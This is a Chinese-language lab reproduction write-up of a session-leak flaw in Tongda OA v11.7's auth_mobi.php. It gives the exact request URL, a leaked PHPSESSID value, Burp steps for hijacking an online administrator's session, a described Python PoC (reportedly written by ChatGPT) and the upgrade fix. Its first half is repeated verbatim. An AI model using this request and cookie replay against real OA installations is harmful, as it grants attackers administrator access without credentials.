通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现
一、前言
通达OA,Office Anywhere的首字母,是通达信科旗下的品牌。通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统
二、环境搭建
下载:TDOA11.7.exe
一路下一步
安装完成,访问本地80端口即可
三、影响范围
通达OA < v11.7
四、漏洞复现
访问 http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
如果如图显示为 RELOGIN,那么代表当前站点无用户登录。无法拿到cookie
那么我们根据默认账号密码登录oa,登陆成功,此时便有管理员在线。
继续尝试访问: http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
返回为空,那么F12,可以看到我们想要的cookie:
PHPSESSID=okjj5asrhoiu6qdqufrvaui6b4; path=/。接下来burp抓包。
通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现
一、前言
通达OA,Office Anywhere的首字母,是通达信科旗下的品牌。通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统
二、环境搭建
下载:TDOA11.7.exe
一路下一步
安装完成,访问本地80端口即可
三、影响范围
通达OA < v11.7
四、漏洞复现
访问 http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
如果如图显示为 RELOGIN,那么代表当前站点无用户登录。无法拿到cookie
那么我们根据默认账号密码登录oa,登陆成功,此时便有管理员在线。
继续尝试访问: http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
返回为空,那么F12,可以看到我们想要的cookie:
PHPSESSID=si0q13dnp2rqq142sabfumi235; path=/。接下来burp抓包。
此时抓http://127.0.0.1/general/index.php 的包,把cookoie塞进去即可。
放掉所有包即可
### 五、poc编写
思路:以get请求方式请求 http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0,返回一个值为res,当RELOGIN在res.txt中时输出"管理员未登录,获取cookie失败";而不存在时则获取响应头中set-cookie的值,再定义一个headers变量格式为(cookie:获取的set-cookie的值),最后get请求 http://127.0.0.1/general/index.php,加入headers的值。返回响应包。
好我们把需求交给chatgpt,让它来写,当然调整一下语句。
pycharm运行结果
很明显利用成功,满屏代码很乱,我们继续优化,在返回包里做正则匹配关键字“系统管理”,有则利用成功,无则利用失败。
结果
六、解决方案
升级到11.8版本
版权归原作者 asdnaiol 所有, 如有侵权,请联系我们删除。